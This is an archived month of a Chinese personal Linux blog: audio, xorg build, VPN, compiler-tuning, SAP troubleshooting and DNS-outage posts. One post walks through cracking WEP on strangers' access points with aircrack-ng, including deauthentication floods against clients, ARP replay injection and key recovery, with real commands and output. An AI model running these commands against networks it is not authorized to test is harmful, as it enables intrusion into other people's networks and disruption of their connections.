momo zone

调核人的blog

Monthly Archives: 五月 2009

oss 驱动usb SPIDF输出

本以为我的SHARP光纤卡在linux上不能用,今天折腾了一下竟然可以用了。
其实很简单,gmplayer默认使用是alsa驱动,alsa的特定就是拥有多工 ,多声道输出,可以像windows 一样实现集中式音频管理。不过这里alas并没有加入/dev/dsp1 为输出设备,所以就不能发声了。很简单换, 换OSS 。 OSS的特点就是配置简单。用gmplayer直接将device选择为/dev/dsp1 ,mixer选择 /dev/mixer1 或 mixer(软件无法控制音量) 或 /dev/mixer0 或 default(可以用播放软件控制音量,但不能用kmix) ,这样就可以了。

编译xorg-server 包遇到问题

昨天打算把xorg-server重新编译一下,以提高server性能。但过程中出错:

$ rpmbuild -ba xorg-x11-server.spec
… (shown at the end, with the failure)

/bin/sh ../libtool –tag=CC –mode=compile gcc -DHAVE_CONFIG_H -I.
-I../include -I../hw/xfree86/os-support -I../hw/xfree86/os-support/bus
-I../hw/xfree86/common -I../hw/xfree86/dri -I../hw/xfree86/dri2 -I../mi
-DHAVE_DIX_CONFIG_H -Wall -Wpointer-arith -Wstrict-prototypes
-Wmissing-prototypes -Wmissing-declarations -Wnested-externs
-fno-strict-aliasing -D_BSD_SOURCE -DHAS_FCHOWN -DHAS_STICKY_DIR_BIT
-DDBUS_API_SUBJECT_TO_CHANGE -I/usr/include/pixman-1 -I/usr/include/hal
-I/usr/include/dbus-1.0 -I/usr/lib64/dbus-1.0/include
-I/usr/kerberos/include -I../include -I../include -I../Xext
-I../composite -I../damageext -I../xfixes -I../Xi -I../mi
-I../miext/shadow -I../miext/damage -I../render -I../randr -I../fb
-I/usr/include/drm -I/usr/include/X11/dri -DXFree86Server
-D__GLX_ALIGN64 -O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions
-fstack-protector –param=ssp-buffer-size=4 -m64 -mtune=generic
-Wstrict-overflow -MT single2swap.lo -MD -MP -MF .deps/single2swap.Tpo
-c -o single2swap.lo single2swap.c
gcc -DHAVE_CONFIG_H -I. -I../include -I../hw/xfree86/os-support
-I../hw/xfree86/os-support/bus -I../hw/xfree86/common
-I../hw/xfree86/dri -I../hw/xfree86/dri2 -I../mi -DHAVE_DIX_CONFIG_H
-Wall -Wpointer-arith -Wstrict-prototypes -Wmissing-prototypes
-Wmissing-declarations -Wnested-externs -fno-strict-aliasing
-D_BSD_SOURCE -DHAS_FCHOWN -DHAS_STICKY_DIR_BIT
-DDBUS_API_SUBJECT_TO_CHANGE -I/usr/include/pixman-1 -I/usr/include/hal
-I/usr/include/dbus-1.0 -I/usr/lib64/dbus-1.0/include
-I/usr/kerberos/include -I../include -I../include -I../Xext
-I../composite -I../damageext -I../xfixes -I../Xi -I../mi
-I../miext/shadow -I../miext/damage -I../render -I../randr -I../fb
-I/usr/include/drm -I/usr/include/X11/dri -DXFree86Server
-D__GLX_ALIGN64 -O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions
-fstack-protector –param=ssp-buffer-size=4 -m64 -mtune=generic
-Wstrict-overflow -MT single2.lo -MD -MP -MF .deps/single2.Tpo -c
single2.c -fPIC -DPIC -o .libs/single2.o
rensize.c: In function ‘__glXImageSize’:
rensize.c:227: error: ‘GL_DEPTH_STENCIL_MESA’ undeclared (first use in this function)
rensize.c:227: error: (Each undeclared identifier is reported only once
rensize.c:227: error: for each function it appears in.)
rensize.c:266: error: ‘GL_UNSIGNED_SHORT_15_1_MESA’ undeclared (first use in this function)
rensize.c:267: error: ‘GL_UNSIGNED_SHORT_1_15_REV_MESA’ undeclared (first use in this function)
rensize.c:281: error: ‘GL_UNSIGNED_INT_24_8_MESA’ undeclared (first use in this function)
rensize.c:282: error: ‘GL_UNSIGNED_INT_8_24_REV_MESA’ undeclared (first use in this function)
make[1]: *** [rensize.lo] Error 1

看样子是和Mesa有关 ,不出所料的是Mesa 的 头文件有问题。上网google了一下,确实是这样,nvidia 的驱动修改了 /usr/include/GL/gl.h .
现在之后去重新安装Mesa 和Mesa-devel 了。
真搞不懂nvidia 修改Mesa的头文件干什么。
最终还是找到了 答案 :
ftp://download.nvidia.com/XFree86/Linux-x86/177.78/README/chapter-05.html
OpenGL and GLX header files (/usr/include/GL/gl.h,
/usr/include/GL/glext.h, /usr/include/GL/glx.h, and
/usr/include/GL/glext.h); these are also installed in
/usr/share/doc/NVIDIA_GLX-1.0/include/GL/. You can request that
these files not be included in /usr/include/GL/ by passing the
"–no-opengl-headers" option to the .run file during
installation.

nvdia是做了一次好人,把最新的opengl都包含了进来,生怕别人的程序用不了最新的opengl特性 。
这里提到了 加上"–no-opengl-headers"就能防止nvidia做好人。

linux VPN 设置

首先安装包 pptp ,他负责调用kernel module MPPE,所以前提是kernel中已加入MPPE,用 more /boot/config-version |grep MPPE有输出的话:
CONFIG_PPP_MPPE=m   就表示没问题了。

安装完pptp后可以用到如下工具:

pptp — pptp的主程序
pptp-command — pptp 设置,启动,断开脚本

这里主要就是用到pptp-command

pptp-command
1.) start
2.) stop
3.) setup
4.) quit

首先进行setup:
1.) Manage CHAP secrets
2.) Manage PAP secrets
3.) List PPTP Tunnels
4.) Add a NEW PPTP Tunnel
5.) Delete a PPTP Tunnel
6.) Configure resolv.conf
7.) Select a default tunnel
8.) Quit

选择1.)进行CHAP安全设置 (目前我连接的VNC Server是进行CHAP安全认证)
1.) List CHAP secrets
2.) Add a New CHAP secret
3.) Delete a CHAP secret
4.) Quit

选择2 新增一个CHAP 设置:
local user : 填 VPN 用户名
remote name: 一个CHAP设置的标识
password : 填 VPN 密码

退回主菜单,选择4)新增一个PPTP Tunnel:
Tunnel Name:一个Tunnel的标识
Server IP :VPNserver IP
route: 较复杂,这里填TUNNEL_DEV . 不过我这里选择哪一种最后都会出错。
local name: VPN 登录名
remote name: 一个认证设置标识,参照前面。

由于我登录的VNCserver 是微软的 ISA server,所以有一下两点要注意 :
1. 需要eap验证:
开启的方法是 编辑 /etc/ppp/options.pptp
加入
refuse-eap
refuse-chap
refuse-mschap
否则会报错 LCP terminated by peer (b@jM-^?^@<M-Mt^@^@^BM-3) 之类的。

2. 正确设置mtu
ISA 默认的 MTU是500 如果客户端超过这个数值 会发生可以连接,但过一会儿就是掉线的问题
还是 编辑/etc/ppp/options.pptp
添加
mtu 500
mru 500
这样就ok了

3. 设置空闲超时时间
idle 3600
windows 是没有超时时间的,但linux 的ppp默认是600s ,所以还是设置一下比较好。

PS:刚才路由的问题没有解决,现在可以手动加入一条:
route add -net 10.0.0.0 gw 172.20.167.20  metric 1 netmask 255.0.0.0 dev ppp0 
route add -net 172.0.0.0 gw 172.20.167.20  metric 1 netmask 255.0.0.0 dev ppp0 

kernel 编译优化的一篇好文

标题: 由外至内加速你的Linux (openSUSE折腾指南)连载C


A篇:基础概念
B篇:工具篇
C篇:手贱要锻炼
建立折腾环境
好了好了,正式开始了,把手套摘下来,点开一个终端。
首先,把上一篇提到的源都加好,然后

代码:

su zypper in gcc webpin build cpp gcc-c++ make

你不需要知道装的是什么,你只需要知道,没有他们不行。
开始几个任务练练手。
甲,升级到 gcc 4.4
openSUSE 11.1 默认是 gcc 4.3 可是半个月前刚发布了正式版的 gcc 4.4,既然要折腾,怎么能不升级呢?何况升级以后,优化编译出来的软件跑得更快。
先看看现在机器上是哪个版本的 gcc:(开头是 $ 表示手动输入)

代码:

$ which gcc /usr/bin/gcc $ l /usr/bin/gcc lrwxrwxrwx 1 root root 7 04-29 02:52 /usr/bin/gcc -> gcc-4.3*

which gcc 是看看现在使用 gcc 命令对应的是哪个可执行文件
l /usr/bin/gcc
是 suse 特有的命令缩写,即 ls -l , 列出文件详情。结果表示 /usr/bin/gcc 本身是个符号链接(或者快捷方式这个说法更熟悉些$#%#%),指向 /usr/bin/ 同目录下的 gcc-4.3 文件。
明显吧,自带的 gcc 是 4.3 版本的。确认一下:
gcc –version
啥也别说了,开始升级吧。

代码:

su zypper in gcc44 libstdc++44 libgomp44 libgfortran44 gcc44-c++ cpp44

再说一遍:你不需要知道装的是什么,你只需要知道,没有他们不行。
补充一点:有它们也不一定能行。汗。。。
装完了,在检查升级成果的时候你会郁闷的发现:
gcc –version
还是4.3。煾 ¥%@@$#@^&@$%
rpm -ql gcc44
看看 rpm 文件都装到哪里去了。发现已经有 /usr/bin/gcc-4.4 文件了可是 /usr/bin/gcc 仍然指向 /usr/bin/gcc-4.3
手动搞定它:

代码:

su cd /usr/bin/ rm gcc ln -s gcc-4.4 gcc

不要以为这就完了:

代码:

su cd /usr/bin/ rm cpp c++ g++ cc gcov ln -s g++-4.4 c++ ln -s gcc-4.4 cc ln -s cpp-4.4 cpp ln -s g++-4.4 g++ ln -s gcov-4.4 gcov

顺便把 man 也改了吧,免得麻烦。

代码:

su cd /usr/share/man/man1/ rm c++.1.gz cc.1.gz cpp.1.gz g++.1.gz gcc.1.gz gcov.1.gz ln -s g++-4.4.1.gz c++.1.gz ln -s gcc-4.4.1.gz cc.1.gz ln -s cpp-4.4.1.gz cpp.1.gz ln -s g++-4.4.1.gz g++.1.gz ln -s gcc-4.4.1.gz gcc.1.gz ln -s gcov-4.4.1.gz gcov.1.gz

gcc –version
发现搞定,如果仍然发现没有搞定,请直接撞墙后再试。
这只是折腾的第一步哦,熟悉一下文件操作而已。啊卡卡。
乙.确定优化参数
优化编译,关键就在优化参数,设定好了以后后面一直用了。
参数1. CHOST
个人电脑 32 位就是 i686-pc-linux-gnu
而 64 位就是 x86_64-pc-linux-gnu
其它的自己查。
参数2. CFLAGS
这是关键中的关键了,它把各种优化参数传给编译器(gcc),在编译时实现优化。
gcc 4.2 以上,-march=native -mtune=native 这两者是必要的优化参数,不管你32位64位AMD/Intel/等等什么的 CPU。
先 cat /proc/cpuinfo
看 flags 开头那一行。比如说,这一行里面如果有 mmx sse sse2 pni ssse3 sse4_1 这种指令集字符,可以 CFLAGS 参数里面分别对应加入 -mmmx -msse -msse2 -msse3 -mssse3 -msse4.1 。如果有 3dnow (AMD CPU)那就是 -m3dnow 了。
更多指令集相关的优化参见:
http://gcc.gnu.org/onlinedocs/gcc-4….002d64-Options
更多优化专用参数参见:
http://gcc.gnu.org/onlinedocs/gcc-4….timize-Options
其它优化参数 -O3。你也可以定成 -O4 O5 …O9,目前它们和 -O3 是一样的。。。
表示优化级别为3(目前最高)。可能出现各种问题,各种文章都是推荐 O2 的,可是就我本身测试, O3 编译任何东西都没有出现过问题。折腾么,就要对自己狠一点。
一个相对安全的策略:

代码:

CFLAGS="-march=native -mtune=native 指令集参数 -pipe -O3"

里面 -pipe 除了加快编译速度没有别的影响。
相应的,还有一个 CXXFLAGS 参数,直接让他等于 CLAGS 。
CXXFLAGS="${CFLAGS}"
参数3. LDFLAGS
具体参见下面的链接,linker 的优化编译参数。一个相对安全的策略:

代码:

LDFLAGS="-Wl,-O1 -s"

参考链接:
http://lamp.linux.gov.cn/Linux/optimize_guide.html
参数4.其它
MAKEOPTS="-jN"
大写N要用数字替换,一般是 cpu 核心数 +1 ,如果内存超过 2G 可以随便写大点,后果自负。
丙. 把优化参数写入文件
定下了优化参数以后,写入 /etc/profile.local 文件,没有就创建一个。
这个文件可以设置系统级别的变量,我们要用它设置编译优化参数。说明:这个文件不算是折腾的关键,但是它包含关键内容,而关键的内容会出现在很多关键的文件里面。
sudo vim /etc/profile.local
原则是把上面定下来的参数都 export 一遍,下次启动就生效了。比如我的文件是:

代码:

export CHOST="x86_64-pc-linux-gnu" export CFLAGS="-march=native -mtune=native -mmmx -msse -msse2 -msse3 -mssse3 -msse4.1 -pipe -O3" export CXXFLAGS="${CFLAGS}" export LDFLAGS="-Wl,-O1 -s" export MAKEOPTS="-j6"

而最关键的文件是 rpmrc, 这个文件本来在:
/usr/lib/rpm/rpmrc
要定义的是里面的 optflags 变量。
32 位机器,把里面这两行 copy 出来:

代码:

optflags: i586 -O2 -g -m32 -march=i686 -mtune=i686 -fmessage-length=0 -D_FORTIFY_SOURCE=2 -fstack-protector -funwind-tables -fasynchronous-unwind-tables optflags: i686 -O2 -g -m32 -march=i686 -mtune=i686 -fmessage-length=0 -D_FORTIFY_SOURCE=2 -fstack-protector -funwind-tables -fasynchronous-unwind-tables

写入 /etc/rpmrc

代码:

optflags: i586 -O2 -g -m32 -march=i586 -mtune=i586 -fmessage-length=0 -D_FORTIFY_SOURCE=2 -fstack-protector -funwind-tables -fasynchronous-unwind-tables optflags: i686 -O2 -g -m32 -march=i686 -mtune=i686 -fmessage-length=0 -D_FORTIFY_SOURCE=2 -fstack-protector -funwind-tables -fasynchronous-unwind-tables

然后编辑 /etc/rpmrc ,用上面定下来的 CFLAGS 字符的值替换字串中 "-O2 -g -m32 -march=i686 -mtune=i686" 这种部分,前面和后面不变。
比如如果上面的 CFLAGS="-march=native -mtune=native -mmmx -msse -msse2 -msse3 -mssse3 -msse4.1 -pipe -O3"
这两行会换成:

代码:

optflags: i586 -march=native -mtune=native -mmmx -msse -msse2 -msse3 -mssse3 -msse4.1 -pipe -O3 -fmessage-length=0 -D_FORTIFY_SOURCE=2 -fstack-protector -funwind-tables -fasynchronous-unwind-tables optflags: i686 -march=native -mtune=native -mmmx -msse -msse2 -msse3 -mssse3 -msse4.1 -pipe -O3 -fmessage-length=0 -D_FORTIFY_SOURCE=2 -fstack-protector -funwind-tables -fasynchronous-unwind-tables

64位光拷贝 optflags: x86_64 这一行到 /etc/rpmrc ,然后作相应编辑就行了。像上面 CFLAGS 同样的情况,64位的 /etc/rpmrc 只有一行。

代码:

optflags: x86_64 -march=native -mtune=native -mmmx -msse -msse2 -msse3 -mssse3 -msse4.1 -pipe -O3 -fmessage-length=0 -D_FORTIFY_SOURCE=2 -fstack-protector -funwind-tables -fasynchronous-unwind-tables

其它架构,以此类推。
还有一个文件
sudo vim /usr/lib/rpm/macros
找到

代码:

LDFLAGS="${LDFLAGS:-%{-s:-s}}" ; export LDFLAGS;

把 -s:-s 换成你的 LCFLAGS, 比如你的 LDFLAGS 是 -Wl,-O1 -s,则这一行会成为

代码:

LDFLAGS="${LDFLAGS:-%{-Wl,-O1 -s}}" ; export LDFLAGS;

参数设定完成,可以重启了。

SAP Server 启动常见问题总结

Troubleshooting SAP startup problems in Windows checklist

There’s probably nothing worse than not being able to start your SAP system … Especially the production system! Aside from the operating system and the database server you must pay close attention to certain places in SAP to find out what caused the problem and how to solve it. Here are the two places you will definitely need to check: EventViewer (Application and System logs) and the SAP Management Console (MMC).

EventViewer can provide useful information and it may help you pinpoint where the problem resides. The SAP MMC gives you the ability to visually see the system status (green, yellow or red lights), view the work processes status and view the developer traces, which are stored in the "work" directory. Example: /usr/sap/TST/DVEBMGS00/work.

For a central SAP instance to start successfully, both the message server and the dispatcher need to start. If one of them or both fail to start, users cannot log in to the system. The following scenarios will illustrate possible causes of why an SAP instance might not start and the reason of the message:
"*** DISPATCHER EMERGENCY SHUTDOWN ***".

Things you need to get familiar with:

  • Developer Traces:
    — dev_disp Dispatcher developer trace
    — dev_ms Message Server developer trace
    — dev_wp0 Work process 0 developer trace
  • The "services" file, which contains TCP and UDP services and their respective port numbers. This plain-text configuration file is located under %winnt%/system32/drivers/etc.
  • Windows Task Manager (TASKMGR.exe).
  • Dispatcher Monitor (DPMON.exe), which is located under /usr/sap/<SID>/sys/exe/run.
  • Database logs.
  • EventViewer (EVENTVWR.exe).

Scenario 1: Dispatcher does not start due to a port conflict

Symptoms

  • No work processes (disp+work.exe) exist in Task Manager.
  • Dispatcher shows status "stopped" in the SAP MMC.
  • Errors found in "dev_disp":

***LOG Q0I=> NiPBind: bind (10048: WSAEADDRINUSE: Address already in use) [ninti.c 1488]
*** ERROR => NiIBind: service sapdp00 in use [nixxi.c 3936]
*** ERROR => NiIDgBind: NiBind (rc=-4) [nixxi.c 3505]
*** ERROR => DpCommInit: NiDgBind [dpxxdisp.c 7326]
*** DP_FATAL_ERROR => DpSapEnvInit: DpCommInit
*** DISPATCHER EMERGENCY SHUTDOWN ***

Problem Analysis
I highlighted the keywords in the error messages above:

  • Address already in use
  • Service sapdp00 in use

The TCP port number assigned in the "services" file is being occupied by another application. Due to the conflict, the dispatcher shuts down.

Solution
If your server has a firewall client, disable it and attempt to start the SAP instance again.
If the instance starts successfully you can enable the client firewall back again.
If there is no firewall client at all, or if disabling it did not resolve the problem, edit the "services" file and check what port the appropriate "sapdp" is using.
If the instance number is 00, look for sapdp00. If the instance number is 01 look for sapdp01 and so on. You can use the following OS command to help you resolve port conflicts:
netstat -p TCP

There are also utilities on the Internet that can help you list all the TCP and UDP ports a system is using.

Scenario 2: Dispatcher dies due to a database connection problem

Symptoms

  • No database connections.
  • No work processes.
  • SAP MMC -> WP Table shows all processes as "ended".
  • Errors found in "dev_disp":
    C setuser ‘tst’ failed — connect terminated
    C failed to establish conn. 0
    M ***LOG R19=> tskh_init, db_connect (DB-Connect 000256) [thxxhead.c 1102]
    M in_ThErrHandle: 1
    M *** ERROR => tskh_init: db_connect (step 1, th_errno 13, action 3, level 1) [thxxhead.c 8437]
    *** ERROR => W0 (pid 2460) died [dpxxdisp.c 11651]
    *** ERROR => W1 (pid 2468) died [dpxxdisp.c 11651]
    *** ERROR => W2 (pid 2476) died [dpxxdisp.c 11651]
    . . .
    *** ERROR => W11 (pid 2552) died [dpxxdisp.c 11651]
    *** ERROR => W12 (pid 2592) died [dpxxdisp.c 11651]
    my types changed after wp death/restart 0xbf –> 0x80
    *** DP_FATAL_ERROR => DpEnvCheck: no more work processes
    *** DISPATCHER EMERGENCY SHUTDOWN ***
    DpModState: change server state from STARTING to SHUTDOWN

Problem Analysis
A connection to the database could not be established because either the SQL login specified in parameter "dbs/mss/schema" is set incorrectly or the SQL login was deleted from the database server. This parameter needs to be set in the DEFAULT.pfl system profile (under /usr/sap/<SID>/sys/profile). In the messages above, we see that the SQL login ‘tst’ is expected but it does not exist at the database level.

Solution
Set the entry to the appropriate database owner. If the system is based on Basis <= 4.6 or if the system was upgraded from 4.x to 4.7 the database owner should be "dbo". But, if the system was installed from scratch and it’s based on the Web AS 6.x the database owner should match the SID name in lower case. Example: if the SID is TST then the database owner should be "tst". If the parameter is set correctly in the DEFAULT.pfl profile check at the database level if the SQL login exists. If it doesn’t, create it and give it database ownership to the <SID>.

Scenario 3: SAP does not start at all: no message server and no dispatcher

    Symptoms

    • The message server and the dispatcher do not start at all in the SAP MMC.
    • The following error when trying to view the developer traces within the SAP MMC: The network path was not found.
    • No new developer traces written to disk (under the "work" directory.)

    Problem Analysis
    The network shares "saploc" and "sapmnt" do not exist. That explains the "network path not found" message when attempting to view the developer traces within the SAP MMC.

    Solution
    Re-create the "saploc" and "sapmnt" network shares. Both need to be created on the /usr/sap directory.

    Scenario 4: Users get "No logon possible" messages

    Symptoms

    • Work processes start but no logins are possible.
    • Users get the login screen but the system does not log them in. Instead, they get this error: No logon possible (no hw ID received by mssg server).
    • In the SAP MMC, the message server (msg_server.exe) shows status "stopped".
    • The dev_ms file reports these errors:
      [Thr 2548] *** ERROR => MsCommInit: NiBufListen(sapmsTST) (rc=NIESERV_UNKNOWN) [msxxserv.c 8163]
      [Thr 2548] *** ERROR => MsSInit: MsSCommInit [msxxserv.c 1561]
      [Thr 2548] *** ERROR => main: MsSInit [msxxserv.c 5023]
      [Thr 2548] ***LOG Q02=> MsSHalt, MSStop (Msg Server 2900) [msxxserv.c 5078]

    Problem Analysis
    Work processes were able to start but the message server was not. The reason is because the "services" file is missing the SAP System Message Port entry. Example: SAPmsTST 3600/tcp

    Solution
    Edit the "services" file and add the entry. Then, re-start the instance. Make sure you specify the appropriate TCP port (e.g. 3600) for the message server.

    Scenario 5: The message server starts but the dispatcher doesn’t

    Symptoms

    • The dispatcher shows status "stopped" in the SAP MMC.
    • The "dev_disp" file shows these errors:
      ***LOG Q0A=> NiIServToNo, service_unknown (sapdp00) [nixxi.c 2580]
      *** ERROR => DpCommInit: NiDgBind [dpxxdisp.c 7326]
      *** DP_FATAL_ERROR => DpSapEnvInit: DpCommInit
      *** DISPATCHER EMERGENCY SHUTDOWN ***

    Problem Analysis
    The keyword in the messages above is "service unknown" followed by the entry name "sapdp00". The dispatcher entry "sapdp00" is missing in the "services" file. Example: sapdp00 3200/tcp

    Solution
    Add the necessary entry in the "services" file. Example: sapdp00 3200/tcp Then, re-start the instance.

    Scenario 6: Work processes die soon after they start

    Symptoms

    • All work processes die right after the instance is started.
    • The SAP MMC shows work processes with status "ended".
    • Only one work process shows status "wait".
    • An ABAP dump saying "PXA_NO_SHARED_MEMORY" is generated as soon as a user logs in.
    • The SAP MMC Syslog shows the following error multiple times: "SAP-Basis System: Shared Memory for PXA buffer not available".

    Problem Analysis
    The instance profile contains misconfigured memory-related parameters. Most likely the "abap/buffersize" instance profile parameter is set to high.

    Solution
    Edit the instance system profile at the OS level under /usr/sap/<SID>/sys/profile and lower the value assigned to "abap/buffersize". Then, restart the instance. Also, it’s important to find out if any other memory parameter were changed. If not, the system should start once the adequate memory allocation has been set to the the "abap/buffersize" parameter.

    Resources for troubleshooting SAP start problems

    As you can see, it’s important to know and take note of the symptoms of the problem. Also, sometimes you need to read between the lines to tell what the actual problem is. Keeping good documentation of system changes is a good practice that always helps during problem solving. Make sure you have backup copies of your SAP system profiles.

    Links and resources:

    Also check out:

    昨晚全国DNS大面积瘫痪

    昨晚10点左右,山东,上海,河南,江苏等地DNS 无响应或响应缓慢,今天查实系baofeng.com 域名查询爆发, 蜂拥至电信DNS所致. 很多人问,暴风播放器还有此等功效?
    今天电信发言说因为暴风自己的域名服务商服务器被攻击瘫痪,导致暴风域名向上查询至电信各主干DNS ,接着电信的DNS 也瘫痪了, 呵呵, 可见暴风播放器后台狂发数据是肯定的了,再加上暴风播放器在中国的装机量 ……. 大家晚上下班回家都在看片 >_<

    windows 7 bring SOFTAP/VWIFI

    在WINHEC 大会上,微软发布了win 7的一个新特性,该特性将允许一个物理wifi网卡同时连接多个AP,也就是说一个物理网卡将能给被多个协议栈同时访问。这将为复杂wirless lan 互联带来便利,也为AP的带宽的提升提供了可能。

    以前日本筑波大学的一个学生写过名叫SOFTLAN 的软件,可以虚拟一个有线网卡将microsoft网络连接到internet ,给只能支持lan对战的玩家提供了internet 对战的支持。

    linux 下破解无线AP WEP 完全手记

    事实上一开始我就走了一些弯路,以为intel的 4965卡不支持注入攻击,就直接airodump抓包破解,竟然还真的一次成功,不过后来想想这纯粹因为那个ap很活跃data增长很快。

    言归正传
    1,首先找适合iwl4965的破解驱动,这个是弯路之一,事实上对于intel的iwl4965 的驱动早已经在kernel 中支持,并且在2.6.26中支持注入(关于注入的类型后面有讲到)。所以不用在这里折腾了。

    2,我在之前已经自己手动编译了一次kernel所以前面一篇文章说到 重新编译kernel后需要再安装compat-wireless驱动包,似乎不同版本的包对注入攻击支持程度不一样,所以这里找到一个包含历史版本的站点 http://www.orbit-lab.org/kernel/,可以多试几个。

    3,去http://www.aircrack-ng.org/doku.php下载aircrack-ng 工具包 ,这个是必不可少的哦。

    4,东西都准备好了(至少现在我认为基本工作都已经好了)。开始airmon-ng 启动监听模式:
    airmon-ng start wlan0
    居然runtime error :
    "Neither the sysfs interface links nor the iw command is available.
    Please download and install iw from http: //dl.aircrack-ng.org/iw.tar.bz2"
    看来还是缺一个包,没办法去下吧 。其实这个工具和compat-wireless中的iwconfig一样,不过这里airmon-ng只依赖后者。

    5,启动监听后出现新的接口 mon0 , 这个接口最神奇的是可以完全和wlan0 独立,基于该接口的操作不会影响到wlan0(理论上是这样,但对于4965似乎在频道切换上还是有影响的,下文有提到)

    6,airodump-ng mon0 开始捕包看看有哪些 ap,哦看到不少哦,很多是没有加密的,不过这些没有加密的已经被蹭的差不多了,没有利用价值。这里对信号最强的也是最活跃的一个下手。

     CH  6 ][ Elapsed: 8 s ][ 2009-05-17 11:45

     BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

     00:1C:F0:40:FB:F4  -90   0        2        0    0   6  54   WPA2 TKIP   PSK  sting
     00:23:CD:68:70:52   -1   0        0        9    0 133  -1   OPN              <length:  0>
     00:21:27:65:4B:1E  -89   0        3        0    0   6  54 . OPN              TP-LINK_654B1E
     00:21:27:65:5A:14  -89   0        8        1    0   6  54 . WEP  WEP         TP-LINK_655A14
     00:1D:0F:2C:95:24  -58   3       87        3    0   6  54 . WEP  WEP         sis
     00:14:78:EA:22:24  -80   2       87       32    3   6  54 . OPN              TP-LINK

     BSSID              STATION            PWR   Rate   Lost  Packets  Probe

     00:23:CD:68:70:52  00:0F:66:E7:4B:39  -89   0- 6      1        9
     00:21:27:65:5A:14  00:1B:77:D8:50:41   -1   1- 0      0        1
     00:1D:0F:2C:95:24  00:13:E8:13:AC:A9    0  54-54      0        4
     00:14:78:EA:22:24  00:13:02:CF:5D:19  -77   0-24    191       61
    ,m
    重新运行airodump-ng -c 6 -w sis  –bssid 00:1D:0F:2C:95:24 mon0
    写入文件 sisXXXX (XXXX) 的部分,airodump-ng自动填充。不一会data数量已经1W 了

    7,新开sh窗口开始破解 aircrack-ng -z sis*.cap
    这里 -z 参数表示用新的pwt方式进行破解,原来需要20W个包才能破解的密码,现在只要2W个。
    不过这次1W就够了,这个ap的密码实在太简单了,1W 就破了。

    8,当然破解这类不需要注入攻击的ap实在没有什么挑战性。下面要破解那些“被浪费”的ap(几乎没人用,也没有data)。对于注入攻击比较复杂,主要用aireplay-ng来实现。该工具所支持的注入攻击有如下几种方式:

    现用Attack 9: Injection test 测试一下:
    aireplay-ng -9 mon0
    12:30:56  Trying broadcast probe requests…
    12:30:56  Injection is working!
    12:30:58  Found 2 APs

    ok,这样就可以了。

    9,先试地一种:

    aireplay-ng -0 1 -a 00:21:27:65:5A:14 -c 00:1B:77:D8:50:41 mon0

    这种攻击主要是获得一下效果

    • Recovering a hidden ESSID. This is an ESSID which is not being broadcast. Another term for this is “cloaked”.
    • Capturing WPA/WPA2 handshakes by forcing clients to reauthenticate
    • Generate ARP requests (Windows clients sometimes flush their ARP cache when disconnected)

    这里第三点是最主要的。
    aireplay-ng -0 10  -a 00:14:78:EA:22:24  -c 00:1B:77:D8:50:41   mon0
    12:48:24  Waiting for beacon frame (BSSID: 00:14:78:EA:22:24) on channel 6
    12:48:25  Sending 64 directed DeAuth. STMAC: [00:1B:77:D8:50:41] [ 0|42 ACKs]
    12:48:26  Sending 64 directed DeAuth. STMAC: [00:1B:77:D8:50:41] [ 0|57 ACKs]
    12:48:34  Sending 64 directed DeAuth. STMAC: [00:1B:77:D8:50:41] [ 0|397 ACKs]
    12:48:44  Sending 64 directed DeAuth. STMAC: [00:1B:77:D8:50:41] [ 0|456 ACKs]
    12:48:54  Sending 64 directed DeAuth. STMAC: [00:1B:77:D8:50:41] [ 0|480 ACKs]
    12:49:04  Sending 64 directed DeAuth. STMAC: [00:1B:77:D8:50:41] [ 0|456 ACKs]
    12:49:14  Sending 64 directed DeAuth. STMAC: [00:1B:77:D8:50:41] [ 0|474 ACKs]
    12:49:23  Sending 64 directed DeAuth. STMAC: [00:1B:77:D8:50:41] [ 0|458 ACKs]
    12:49:34  Sending 64 directed DeAuth. STMAC: [00:1B:77:D8:50:41] [ 0|80 ACKs]
    12:49:49  Sending 64 directed DeAuth. STMAC: [00:1B:77:D8:50:41] [ 0|262 ACKs]
    不过这种攻击方式与破解密码无关!

    10,对于-1 的攻击方式,很遗憾在4965上是不被支持的:

    aireplay-ng -1 0 -e sis -a 00:1D:0F:2C:95:24 -h 00:13:E8:13:AC:A9 mon0

    13:40:23  Sending Authentication Request (Open System)

    13:40:26  Sending Authentication Request (Open System)

    13:40:29  Sending Authentication Request (Open System)

    13:40:32  Sending Authentication Request (Open System)
    Attack was unsuccessful. Possible reasons:

        * Perhaps MAC address filtering is enabled.
        * Check that the BSSID (-a option) is correct.
        * Try to change the number of packets (-o option).
        * The driver/card doesn’t support injection.
        * This attack sometimes fails against some APs.
        * The card is not on the same channel as the AP.
        * You’re too far from the AP. Get closer, or lower
          the transmit rate.

    11, 下面使用-3攻击方式,这才是目前发现的对于4965最有效的攻击方式,尽管不是最快的。

    前提是要有一个授权的主机已经连上了目标ap,然后用aireplay-ng -3 -b 00:1D:0F:2C:95:24 mon0
    监听ARP,待已授权的主机向ap发出arp request的时候,aireplay截获,并重新发送该包,ap会被欺骗并返回arp ack 这个时候airodump 的data会上涨,等到2W的时候拿去破吧 。

    如何使用组策略或注册表设置配置自动更新

    察看本文应用于的产品

    重要说明:本文包含有关修改注册表的信息。修改注册表之前,一定要备份注册表,并且一定要知道在发生问题时如何还原注册表。有关如何备份、还原和编辑注册表的信息,请单击下面的文章编号,以查看 Microsoft 知识库中相应的文章:

    256986  (http://support.microsoft.com/kb/256986/ ) Microsoft Windows 注册表说明

    简介

    如果您以计算机管理员或管理员组成员的身份登录,则任务栏的通知区域可能会提示您在 Windows 中配置自动更新功能。 有关自动更新功能的可用性以及如何配置和使用…

    如果您以计算机管理员或管理员组成员的身份登录,则任务栏的通知区域可能会提示您在 Windows 中配置自动更新功能。

    有关自动更新功能的可用性以及如何配置和使用此功能的其他信息,请单击下面的文章编号,以查看 Microsoft 知识库中相应的文章:

    306525  (http://support.microsoft.com/kb/306525/ ) 如何在 Windows XP 中配置和使用自动更新
    327850  (http://support.microsoft.com/kb/327850/ ) 如何在 Windows 2000 中配置和使用自动更新

    如果您是高级用户或 IT 专业人士,可以使用下列任一方法来配置自动更新:

    • 使用组策略或 Microsoft Windows NT 4.0 系统策略
    • 修改注册表

    本文描述了如何使用下列任一方法来配置自动更新功能。

    更多信息

    使用本地组策略配置自动更新 单击“开始”,然后单击“运行”。 键入 gpedit.msc,然后单击确定。 展开“计算机配置”。 右键单击“管理模板”,然后单击“…

    使用本地组策略配置自动更新

